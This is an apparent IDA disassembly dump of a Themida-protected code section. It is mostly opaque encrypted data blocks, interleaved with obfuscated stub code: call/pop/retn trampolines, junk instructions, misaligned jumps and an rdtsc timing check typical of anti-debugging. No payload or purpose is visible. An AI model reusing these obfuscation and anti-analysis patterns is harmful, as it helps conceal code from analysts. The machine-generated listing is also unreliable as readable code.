dd 8DB551F1h, 6709FC7h, 4920DEF9h, 31919ACFh, 64317911h
dd 0FA004871h, 51F2B714h, 0C1D10028h, 0C314F2E4h, 5EF64EFAh
dd 0D531A5B2h, 0B70FBB02h, 6D66731Fh, 0B30C7691h, 52EA6FBAh
dd 8ECC30A6h, 31A66076h, 25983F8Ch, 41892179h, 2A596274h
dd 749B3D1Ah, 0F22F886Eh, 2E141A51h, 4251F230h, 942C541Ah
dd 9C736542h, 0F22FB096h, 49CC451h, 33864B58h, 0F2903287h
dd 656C9E3Ah, 8D6ABC54h, 80C67249h, 51F22F9Dh, 4E450519h
dd 0FEEDAA17h, 6DE7h, 0C412FE00h, 1FE7AFF7h, 0F1E83319h
dd 991F4751h, 51F1E7B3h, 6709FC7h, 0F1E7DCC0h, 4465A51h
dd 0EDF1D68Fh, 128FEh, 123F0000h, 4350FCC1h, 79812D90h
dd 0BD016CA2h, 0E228AC59h, 4AB02D1h, 6A75A4E4h, 2CA24E6Bh
dd 61728AC8h, 0AA1219Dh, 0EA42EECBh, 88981893h, 0DAE0A8F0h
dd 51F22EF4h, 11AC2B08h, 46750D65h, 3E7D5936h, 0C51233ECh
dd 943F4CF8h, 0A4AA6374h, 51F1E7BEh, 6612AAD2h, 0A615C10Eh
dd 5E0AA2FAh, 0CA07D4ECh, 8936A2EFh, 45685DDh, 9429AE46h
dd 0F3A6754Ch, 59EEDB3Bh, 6B421A2Ah, 0C35EDF7Fh, 590BA018h
dd 0C139449Bh, 874F5A89h, 577B8834h, 834F1C64h, 189F0938h
dd 0CEA554F6h, 375C0ACh, 26E9D00h, 0FEED1073h, 66ABh, 0C512C200h
dd 933F4CF8h, 0B15D6073h, 9F15C159h, 0F2E51F3Bh, 0E82F151Bh
dd 1B4351F1h, 8C593183h, 70C87445h, 6CA13641h, 0F1E88066h
dd 0D46C9451h, 0FFBA1B28h, 0E8AACC53h, 0EDEF82F3h, 2E34FCFEh
dd 51F1F248h, 9F05345Ch, 58h, 894A17B6h, 0DDFA0534h, 0B12734E0h
dd 962E620Eh, 7FAE0DC9h, 0D76D2Dh, 17B26BBDh, 832F8C4Ah
dd 0E2F1FC2Bh, 5A272FDBh, 7D94407Dh, 9995B84Ch, 507F1784h
dd 0F24C290Ch, 0F191A551h, 5A657340h, 0BB2756AEh, 0FEED8DAAh
dd 0E6ECB4h, 1451F258h, 157BDECh, 6E000000h, 33884A17h
dd 0E2D9F904h, 0EAD2936h, 0FE23EFC6h, 0D8FF48C2h, 94EA3FA9h
dd 0FBBFF5CCh, 6FA63332h, 0F26503E9h, 0A2EF1751h, 85A8936h
dd 0E7EAB74Ah, 81CE26D2h, 2E396857h, 0E9C517A4h, 858BD37Bh
dd 57E57F6Eh, 20060CE4h, 34580680h, 0C0C8740Ch, 800CF2F8h
dd 39205806h, 3A078B6Ah, 0B5029AECh, 616C9B22h, 17F44675h
dd 0E7B4FCBFh, 349ECDF0h, 6A30AEEh, 7C3F9358h, 0DCC2C8D0h
dd 0F05806A2h, 5F5A7BC8h, 0B9D93DB3h, 0A2E0C438h, 1D6F4C8Ah
dd 79259640h, 9516A6Ch, 7420993Ch, 1183ED1Ch, 7F57EDADh
dd 3B12EA3Ch, 0B5772AF6h, 50BCEB5Bh, 0F8D95B15h, 1B4E9h
dd 0C414E100h, 0C8F74FFBh, 3AA513E1h, 1FB66BCFh, 3F96EE9Ah
dd 206D1FD7h, 15905B6h, 53592169h, 51F2D06Dh, 242A5981h
dd 0C5488F5Ch, 0F2CFD9BFh, 2DC5ED51h, 0CFF9DFE5h, 0E50D51F2h
dd 0F53B72B6h, 0C9F157E5h, 77D1AA81h, 70F93032h, 0DE0DB023h
dd 4C6F6774h, 2B91DFAh, 2E8D4956h, 0EEAC1082h, 0E93B8056h
dd 5D434911h, 715807B0h, 0B7AE1A49h, 47F8D829h, 87h, 0CC40175Eh
dd 4C1D95B4h, 0ED5A6493h, 8AA98F95h, 353B51F2h, 51F28B4Fh
dd 4D753B63h, 0A0966DB5h, 3C558105h, 383E4473h, 0D1F2C372h
dd 6A721E46h, 5D988C93h, 80AF2611h, 0F2E1563Ch, 94B6DAD1h
dd 0FD8A8E65h, 8AF5EA57h, 89E4515Bh, 8ED66E4Dh, 0E3DAF9C6h
dd 13A82A37h, 48770F67h, 0F27C3E04h, 0BBB99051h, 49163688h
dd 0AFD75B8Ah, 0C03C9A67h, 0FB3695ADh, 579F374Ah, 0F2016B51h
dd 28577F51h, 0B73A18h, 13910000h, 299244A5h, 2CC4F5DCh
dd 0FDC017E4h, 0C4CAF951h, 18A32FFCh, 6BA79EC1h, 1443E6A5h
dd 0E54A15D0h, 0F1E6C357h, 30C820CCh, 23AF7C84h, 785E6998h
dd 4C19F143h, 7B883485h, 5EB6625Dh, 4A8C97C6h, 0F0BDC571h
dd 1128D4E5h, 5B27A0FAh, 0B2E179DEh, 6268D6Eh, 4505E958h
dd 429427AFh, 48F866h, 0FE909CFAh, 1EB3905Dh, 0F3BB039Bh
dd 217107EDh, 0AD93995Eh, 0C15E2170h, 7CABD399h, 2BD10512h
dd 0DD128B33h, 43CE0E7Fh, 0BFC17BD2h, 8E9B47DFh, 0BFCC7845h
dd 0C5F9A518h, 0AB40A1E1h, 6C4D8855h, 0BC1B68C0h, 0C280D201h
dd 0C911BD2Bh, 19B365C3h, 0DF315964h, 0F9A51326h, 1B21E9B1h
dd 51F1E835h, 0AEF22149h, 57EA5250h, 63701C44h, 19F64873h
dd 0C52FEBDh, 7FA2F25Eh, 4DFC9E02h, 36655680h, 2151AB2Bh
dd 59640088h, 0C06C4F87h, 0E638D068h, 0A6EECD09h, 0EFF2D8DEh
dd 1F068002h, 0A0258EDCh, 79A84003h, 0E6D3020Fh, 743E53Ah
dd 80D2E9EDh, 0C2FDDBA8h, 848FBE16h, 0B5BD6952h, 23CFF0E8h
dd 0C62F151Bh, 1B438003h, 3485483h, 9F000000h, 0CA127DE4h
dd 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh
dd 0B61F2CD8h, 884A5703h, 597A8733h, 5733B864h, 0C781E789h
dd 4, 4EF81h, 3C870000h, 34895C24h, 0E0895024h, 405h, 4E88300h
dd 5C240487h, 83242C89h, 1C8904ECh, 0DE685224h, 5A13C731h
dd 484EE281h, 0CA812850h, 8AF4101h, 0AD0BB53h, 0DA310EF4h
dd 5AD5895Bh, 241C8B54h, 4C481h, 0EC830000h, 242C8904h
dd 0FF08438Fh, 835B2434h, 2C8B04C4h, 0E3895324h, 4C381h
dd 0C3810000h, 4, 5C241C87h, 0F92CA6E9h, 0E8A395FFh
; ---------------------------------------------------------------------------
push es
loc_5BDD5D: ; CODE XREF: sub_5BD701:loc_5BD779j
mov eax, 61B50F8h
add eax, ebp
jmp eax
sub_5BD701 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0C80Ah
dd 988F597Fh, 0C1474D19h, 903E6AFBh, 0DCEF1829h, 72D44FF9h
dd 30051ECBh, 486009A2h, 6D340D38h, 43161D11h, 0D56E373Bh
dd 3DFE635Fh, 0DFE9222Bh, 0CE000000h, 825FB10Eh, 3D1A6C51h
dd 0F7D42695h, 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h
dd 56696F4Ch, 0CAF2704h, 2026AEBAh, 580D393Ah, 12EC534Eh
dd 0DB4AF6C3h, 8E2CFED5h, 89EC17B5h, 83864F5Ah, 0F25A977Dh
dd 2C83AB51h, 0CACC9E6Bh, 80D26A27h, 0F1EB896Ah, 81F1D351h
dd 0B37B5033h, 3461C7ADh, 84B3DB52h, 759F9E40h, 81A66A50h
dd 2CF450B8h, 0B8814026h, 5B775452h, 0BE71C860h, 2AE82B02h
dd 1ECDD908h, 5000000h, 0B151373Dh, 3D6552B8h, 6E4495E6h
dd 0F7260B7Ah, 494F1710h, 51F1E863h, 0E7204F77h, 0F5CA1280h
dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh
dd 3B61F2Ch, 33884A57h, 64597A87h, 0BC6833B8h, 0E9061B51h
dd 0FFF92B8Fh, 0A21B1AE5h, 0EE0E933Dh, 8D8DD394h, 61B536Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h
dd 86672CAAh, 0EBC944DBh, 298D8938h, 60061432h, 6800Fh
dd 0F6810000h, 74E442D8h, 1D718D01h, 0C7610614h, 14064D85h
dd 6ACC06h, 68B0F00h, 8B000000h, 140AE5B5h, 7185C706h
dd 61426h, 0E8000000h, 0Eh, 0E7EDD2A4h, 8CBE252Eh, 53100136h
dd 0BF66D05Ah, 0FF5AD921h, 143099B5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0DB81BC6Ah, 678DF9BBh, 6E9h, 0C3EA2D00h, 0FF79A163h
dd 14236195h, 0DE906h, 0E9DC0000h, 0BD8393A0h, 0E1A7559Ch
dd 6AB7B97Eh, 6995FF00h, 8B061411h, 9F3BEBC0h, 3EED1340h
dd 4BD80435h, 0ACDC0DBFh, 34C35560h, 2FE4FB4Bh, 1D438B54h
dd 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h
dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 8D8DC09Ch, 61B547Bh
dd 2C559D8Bh, 8D890614h, 6143229h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0B7C35040h, 0B52DFAEDh, 9F9C7F83h
dd 6830F63h, 89000000h, 14318D8Dh, 8166FC06h, 0C76715EEh
dd 14064D85h, 6FCC06h, 0CEF28100h, 0C77BDB9Bh, 14267185h
dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 3C326768h, 11FB06A5h, 29D8D09h, 0B5FF0614h
dd 6140D49h, 236195FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 604EB4C3h, 612EEBE7h
dd 8D016075h, 6140665h, 17199D29h, 6A610614h, 6995FF00h
; ---------------------------------------------------------------------------
loc_5BE058: ; DATA XREF: Themida_:00548E7Co
; Themida_:0054B664o
adc [esi+eax], edx
mov eax, eax
jmp short loc_5BE0A8
; ---------------------------------------------------------------------------
db 3Eh
dd 0FABF82E9h, 0BFB665E7h, 6A01508Eh, 2F68ABF0h, 0A8A40F88h
dd 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh, 0CCBE655Fh
dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h, 492FCFF3h
dd 0AC3008C3h, 0FC88B654h, 81CDB06Dh
; ---------------------------------------------------------------------------
loc_5BE0A8: ; CODE XREF: Themida_:005BE05Dj
jmp short loc_5BE0C0
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 1010000h
; ---------------------------------------------------------------------------
loc_5BE0C0: ; CODE XREF: Themida_:loc_5BE0A8j
inc esp
add al, 0
add [ebx], bl
push es
push 0
push edi
call sub_5BE0D1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE0D1 proc near ; CODE XREF: Themida_:005BE0C9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5BE0D1 endp
; ---------------------------------------------------------------------------
db 73h, 6Bh, 44h
dd 0E2912059h, 0FAEE932h, 889h, 2890F00h, 50000000h, 9995295Bh
dd 50061413h, 0BE8h, 518E6E00h, 1D708E9Fh, 8A34743Dh, 0B0595260h
dd 89596138h, 8E0F2404h, 5, 0E8C0C8BFh, 6A006A74h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0B7C0C350h, 0FA34241Ch, 0BD89658Eh, 614106Dh, 0D71B589h
dd 6A0614h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0C3C35040h, 8D5C5E0Eh, 1B563785h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 66377709h, 90FEEEBFh, 5800Fh, 46BA0000h, 507C5470h
dd 0A991ADBAh, 6A904Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 787F3FC3h, 8FBB1B19h, 6A21556Eh
dd 9840F00h, 0F000000h, 382h, 17CB8000h, 0D78B006Ah, 1A7195FFh
dd 0BD2B0614h, 6142195h, 648E9h, 14E900h, 9D50000h, 0AA3CE9B0h
dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 0E8A570h, 5D000000h
dd 563CED81h, 9509061Bh, 6142F05h, 8559D33h, 6A0614h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 8B827DC3h, 0D180BAE1h, 46AC68C9h, 7E9A0BAh, 0BA000000h
dd 5FF4B5A4h, 4813F92h, 45C8F424h, 398D8B5Fh, 5706142Dh
dd 0CCFABB66h, 6995FF5Bh, 9061411h, 142C758Dh, 0CBB58D06h
dd 6A061B54h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0D320C351h, 3BE387BBh, 0D1744846h
dd 13E9h, 0A4625800h, 88E1491Dh, 0E6B1B0A1h, 25238E10h
dd 0D0636451h, 0C7D98B66h, 67655206h, 55006A6Dh, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 5172DD1Dh, 60E3731Bh, 0FE8h, 0B1746800h, 325BC362h
dd 0B69F8908h, 1A5BAB71h, 784CBB66h, 46C7615Fh, 636E6F04h
dd 0BF0F606Ch, 0F5858BF9h, 6106140Fh, 610846C7h, 1007373h
dd 1423B5B5h, 8B006A06h, 141009BDh, 0CB858D06h, 6A061B54h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0CDD9C356h, 0ECC59E90h, 7224BB50h, 489610Eh
dd 8DB50124h, 0E9061434h, 0Ch, 29FF1F5Fh, 0A638574Fh, 0C3B5112h
dd 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0EE8A0C3h, 27000000h, 9FAE40A4h
dd 36F1D905h, 0FFE7A49Ch, 6D38021h, 0A1B5895Fh, 6606141Ah
dd 0C00BF98Bh, 41840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0DC6D70C3h, 0EC69220Ch
dd 60DF8B60h, 5BA5EB81h, 0BD8B0FE4h, 61416EDh, 0D9816161h
dd 5B0DF33Ch, 402E9h, 68DF8B00h, 0B304E217h, 74B55250h
dd 0D68B310Fh, 481585Ah, 0FB1F1524h, 13E94Ch, 7AB70000h
dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 6995FF40h
dd 8B061411h, 141D599Dh, 0CBB58D06h, 6A061B54h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0F8ACC352h, 0BC5EEEh, 0C70B76EEh, 34383106h, 55006A36h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 4243BA0Bh, 0D598C63Ah, 0F28166FCh, 8B668FCFh, 0FE8C8h
dd 9E300000h, 632BB765h, 6725089h, 0BD957ACAh, 128E0F4Eh
dd 0E8000000h, 0Ch, 0FD99D02Dh, 0A20ADCC3h, 27551C16h
dd 46C75B5Fh, 342D3704h, 8B27B531h, 142F159Dh, 846C706h
dd 0
; ---------------------------------------------------------------------------
mov edx, [ebp+61419E1h]
push 0
push 0
push ebx
call sub_5BE4EF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE4EF proc near ; CODE XREF: Themida_:005BE4E7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BE4EF endp
; ---------------------------------------------------------------------------
jecxz short loc_5BE54B
lea eax, [di+54CBh]
sbb eax, [esi]
push 0
push ebp
call sub_5BE513
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE513 proc near ; CODE XREF: Themida_:005BE50Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BE513 endp
; ---------------------------------------------------------------------------
retf 4FEDh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0E5h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
mov ecx, 5E6F26ADh
push eax
mov di, cx
mov [esp], eax
call dword ptr [ebp+6140E4Dh]
push 0
push edi
call sub_5BE546
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE546 proc near ; CODE XREF: Themida_:005BE53Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
loc_5BE54B: ; CODE XREF: Themida_:005BE4FFj
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5BE546 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 8B00h
; ---------------------------------------------------------------------------
cli
or eax, eax
jz loc_5BE594
mov cx, di
jmp loc_5BE803
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5BE574
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE574 proc near ; CODE XREF: Themida_:005BE56Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BE574 endp
; ---------------------------------------------------------------------------
fld dword ptr [ecx+7Ah]
pop edx
push ecx
mov bl, 2Eh
fst dword ptr [edi-77h]
test edx, ebp
xor al, 14h
push es
pop edx
loc_5BE594: ; CODE XREF: Themida_:005BE55Bj
call loc_5BE59D
sub al, 1
; ---------------------------------------------------------------------------
db 0
db 0
; ---------------------------------------------------------------------------
loc_5BE59D: ; CODE XREF: Themida_:loc_5BE594p
pusha
js loc_5BE5BE
call sub_5BE5BD
; ---------------------------------------------------------------------------
db 0FEh, 2Dh, 0F1h
dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 0D5DDBE84h
db 0EFh
; =============== S U B R O U T I N E =======================================
sub_5BE5BD proc near ; CODE XREF: Themida_:005BE5A4p
arg_20 = dword ptr 24h
pop ebx
loc_5BE5BE: ; CODE XREF: Themida_:005BE59Ej
mov cl, 0D4h
popa
push eax
mov ecx, 2A680A05h
mov eax, [esp-20h+arg_20]
call near ptr loc_5BE5D6+1
xor esi, 822255Ah
loc_5BE5D6: ; CODE XREF: sub_5BE5BD+Ep
sbb [eax+52h], edx
sub_5BE5BD endp ; sp-analysis failed
push esi
pop ebx
rdtsc
jnb $+6
pop edx
pop eax
pop edx
mov eax, [eax]
mov bx, ax
mov [esp+4], eax
mov bx, ax
pop eax
jmp loc_5BE601
; ---------------------------------------------------------------------------
dd 7455D39Ah, 27F3F16Ch
; ---------------------------------------------------------------------------
push cs
loc_5BE601: ; CODE XREF: Themida_:005BE5F3j
call dword ptr [ebp+6141169h]
push 0
push edx
call sub_5BE612
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE612 proc near ; CODE XREF: Themida_:005BE60Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5BE612 endp
; ---------------------------------------------------------------------------
and [ebx-3Eh], ebp
mov al, ds:73A1DDB2h
xor dword ptr [ebp-75h], 1423D995h
push es
movzx edx, si
lea esi, [ebp+61B54CBh]
push 0
push esi
call sub_5BE646
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE646 proc near ; CODE XREF: Themida_:005BE63Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5BE646 endp
; ---------------------------------------------------------------------------
dw 1F66h
dd 0CEADEB7Ch, 0F59BDAEh, 68Bh, 11BD2300h, 0C7061426h
dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0A498BF70h, 0F9D0793h, 68Ch, 95858900h
dd 0C7061429h, 6F6D0446h, 9501636Eh, 6141369h, 6C0846C7h
dd 6A737361h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0A947C356h, 31DE8730h, 140649B5h
dd 0C46C706h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5BE6EB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE6EB proc near ; CODE XREF: Themida_:005BE6E3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5BE6EB endp
; ---------------------------------------------------------------------------
jbe short near ptr loc_5BE712+4
cmp [edi+41h], ebx
or edx, [ebp+61400FDh]
push ecx
adc dx, 3E1Fh
pop ebx
push 0
push 0
push esi
loc_5BE712: ; CODE XREF: Themida_:005BE6FBj
call sub_5BE71A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE71A proc near ; CODE XREF: Themida_:loc_5BE712p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5BE71A endp
; ---------------------------------------------------------------------------
dw 9B5Ah
dd 794527D0h, 89786D54h, 1421F985h, 0CB858D06h, 6A061B54h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E8B2C356h, 13h, 0C2BC00FAh, 0DF979DFBh
dd 0E5CE52EDh, 51A59968h, 8B625DE4h, 1422718Dh, 66505A06h
dd 89695DBAh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0DE96FC3h, 0CB000000h, 7CFDC8ECh
dd 0B2FA50C1h, 0F7B5399Fh, 0FF18E380h, 140E4D95h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0F9A3B4EAh, 0F1C143Bh, 0C00BFEB7h, 12840Fh, 23530000h
dd 142F0D95h, 10E95F06h, 0BF000000h, 443C0BEDh, 0FFFA19E9h
dd 0A9C781FFh
db 11h, 0EDh, 36h
; ---------------------------------------------------------------------------
loc_5BE803: ; CODE XREF: Themida_:005BE564j
lea esi, [ebp+61470F0h]
push 0
push eax
call sub_5BE814
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE814 proc near ; CODE XREF: Themida_:005BE80Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BE814 endp
; ---------------------------------------------------------------------------
dd 3BD7AAE6h, 6B7FA85Ah, 0B8h, 0C58D0900h, 0FF06142Ah
dd 0A5BD8BE6h, 89061416h, 1421D18Dh, 0E8C18B06h, 10h, 4ACC41F3h
dd 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h, 0CA9B589h, 895F0614h
dd 140CD9B5h, 0B5C78106h, 68000072h, 1C80h, 19499589h
dd 295E0614h, 1416D58Dh, 0E8078B06h, 0Fh, 51354D7Fh, 9496BC94h
dd 0F64BD5Bh, 0FF72340h, 386h, 13DE8000h, 0ABE8815Bh, 662422FEh
dd 0A214D281h, 0C69CE881h, 8D890662h, 6140FEDh, 860BE881h
dd 789495Eh, 0EF81E88Ah, 114642D6h, 34A19501h, 0C7810614h
dd 114642D2h, 880Fh, 0F4E0000h, 1285h, 1FE900h, 982F0000h
dd 0C07830F4h, 61D00504h, 810D3987h, 9B1408E9h, 0FF83E964h
dd 8D8EFFFFh, 0D96B3666h, 29E9AFh, 0E49D0000h, 5DCFh, 8 dup(0)
dd 0E9000000h, 553h, 0FC4E716Bh, 0B709B41Fh, 71C3F8DAh
dd 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h, 0CC0CE93Bh
dd 12C4A1F3h, 0C34B57A9h, 0D44D7BDh, 89F0EB58h, 0AFF7C412h
dd 99C8F5E2h, 8B5222Fh, 0BEFDD9B6h, 0EAD10512h, 66A2313Eh
dd 4AA24E6Bh, 0DEF906B2h, 0AB2633DFh, 7E55620Eh, 0ABE7CB3Fh
dd 6E2C9046h, 69BB00D6h, 0A912C491h, 6B76A5FDh, 2800526Dh
dd 0E8745A60h, 0D50151F1h, 0B0F820E6h, 0F1E7C4AAh, 81B0D851h
dd 0B15D6276h, 0E08C2DA4h, 93A9E98Bh, 0DEC4CA45h, 6151F1E7h
dd 0C342E467h, 71995F8Bh, 2CAA87D9h, 4BF3D9DFh, 0DF0751F2h
dd 72559B47h, 0EE51F24Ch, 4223B8DAh, 0BCFEED8Eh, 5Ah, 884A17D3h
dd 0CFECE633h, 919CCB23h, 84CA7645h, 51F1E7A0h, 53480A1Eh
dd 0FEEDF212h, 1ECh, 0C1120300h, 0EFE7B4FCh, 26339DCCh
dd 576410ADh, 198F3B7Eh, 976495B5h, 77CF7B3Eh, 27963D48h
dd 0C64017DFh, 0CC6D9F32h, 1307ED73h, 0F31B51F2h, 0FFD7B4C4h
dd 54ECCF07h, 0C5124902h, 943F4CF8h, 0F30B7D29h, 9108501Ch
dd 0F1209D80h, 774EE39Fh, 0D2CD8614h, 141F4E5Dh, 0D0A8FAC3h
dd 0A137CF03h, 821A721Eh, 2D8E4853h, 0FAA27981h, 874D4745h
dd 0AB188CE3h, 9E3AFF9h, 303CFDAh, 0A52EAD5h, 0E5E5F33h
dd 0D504919Ch, 80C2E46Bh, 0EDA16A0Bh, 80B4FEh, 0DFAC0000h
dd 0AE95C4F7h, 4CF8C512h, 0D4AB6D44h, 0B65F7A36h, 65567C87h
dd 3485501Dh, 0C1259B05h, 9C6C6B81h, 7ED6823Bh, 0C2826327h
dd 781047B0h, 2F8E4926h, 5A5F7683h, 8837A1AEh, 0B306CFDCh
dd 0E4D9FA07h, 2988CA2Eh, 89024062h, 0FEEDCCECh, 4B32h
dd 0C5124900h, 993F4CF8h, 62467A26h, 0F2CB0C20h, 0FA00C8A0h
dd 51F1E814h, 0C18736A1h, 0E7FDE3E9h, 0E91151F1h, 56D7FA51h
dd 0A90F3914h, 0C112937Ah, 270A50FCh, 0A351F1E8h, 713EF38Fh
dd 51A95564h, 0F1AFB622h, 14FFEEDh, 66000000h, 4FFBC012h
dd 7B279442h, 0CF03D026h, 0B9E840ECh, 0C1112B67h, 932B9245h
dd 455F744Bh, 2484BC90h, 9B09E5F5h, 8EA5ABF3h, 457E55Eh
dd 10C794DCh, 32DEDFF8h, 899642DAh, 6FC7734Ah, 313EA8D7h
dd 0E7C416A5h, 0BC84CCEFh, 65ED0B6h, 45745D58h, 0CD0A577Fh
dd 0BDEC44F0h, 5F290D53h, 0A78B5806h, 888E56EBh, 58065EA2h
dd 96418EB6h, 0E9EDF827h, 45B38AD2h, 0E8F5249Bh, 0FED6E615h
dd 6A16A531h, 0FED8E312h, 2AA875BDh, 195948D2h, 0E57D7863h
dd 3E94E139h, 0DCE44E7Dh, 5F280E14h, 6CAB5806h, 3AB3CD90h
dd 103F672Dh, 3EEAD105h, 0E6ECB4CCh, 5806E200h, 369FEC14h
dd 507FD783h, 0E0AD5CFEh, 8C97C6F7h, 0E11F714Ah, 0F8D8F784h
dd 1157Ah, 0A5139100h, 0E85D4349h, 497151F1h, 2C6369B1h
dd 0E257E50Eh, 0C99B72BAh, 1CA132F7h, 0F2315EC5h, 8A4C59C3h
dd 0D402DF31h, 5C333BE7h, 1197D7D6h, 55608F76h, 1C8E3A81h
dd 74629AB8h, 0AEB7F547h, 50F8D944h, 40h, 0F8A61367h, 0B61BE8B0h
dd 0E8674D53h, 537B51F1h, 88B70FBBh, 0F1E87E44h, 7E2A52D1h
dd 0F1E85238h, 90B2D6D1h, 0FA42F05Dh, 0F1E82EF4h, 88DA0251h
dd 99AAh, 0C315E200h, 9629AFFCh, 7C6392EAh, 0B1F9A513h
dd 20CCEDE4h, 50FCBF13h, 2B3160F8h, 0E5116A25h, 9D3B1857h
dd 861E7622h, 8A70763Eh, 9E5805F0h, 0F0DAC0C6h, 0C6EE5805h
dd 8895FF2Eh, 3E1B6D4Eh, 57646E98h, 34FC53ABh, 128DB571h
dd 99DF8B23h, 5806D6B8h, 0DA123014h, 956DBFFCh, 83B20BC8h
dd 1B630B79h, 0FF33F815h, 96426A5Dh, 0AA11C18Eh, 6C77A6FEh
dd 3209516Ah, 78525991h, 4FB9E800h, 33A58FAh, 1BA43495h
dd 18353B83h, 8A641B25h, 6B381062h, 51A95568h, 0A5133B22h
dd 8EABB1F9h, 57EA44h, 0B71F2CD8h, 45684E54h, 547C580Dh
dd 498D6ABCh, 3E80C672h, 1A13C0CAh, 766094B6h, 0A530FD45h
dd 0E1106814h, 0D222F9D1h, 709D2F54h, 0DC9D403h, 0E0F502AEh
dd 0FCC991D9h, 0E23AE6D7h, 0E157765Ch, 0ACB28AB3h, 0B3E156C6h
dd 0EB1AB2DAh, 0C88A2C81h, 0C719A234h, 87CFECEAh, 0A9A438B0h
dd 5F65BD84h, 0F1273259h, 52BCEB83h, 0C44h, 40179B00h
dd 0BF9411F3h, 0C7002F76h, 0F5CA1260h, 219A3C49h, 4F706875h
dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h
dd 64597A87h, 895233B8h, 4C281E2h, 83000000h, 148704EAh
dd 24248B24h, 1B3F68h, 243C8900h, 81E38953h, 4C3h, 4EB8300h
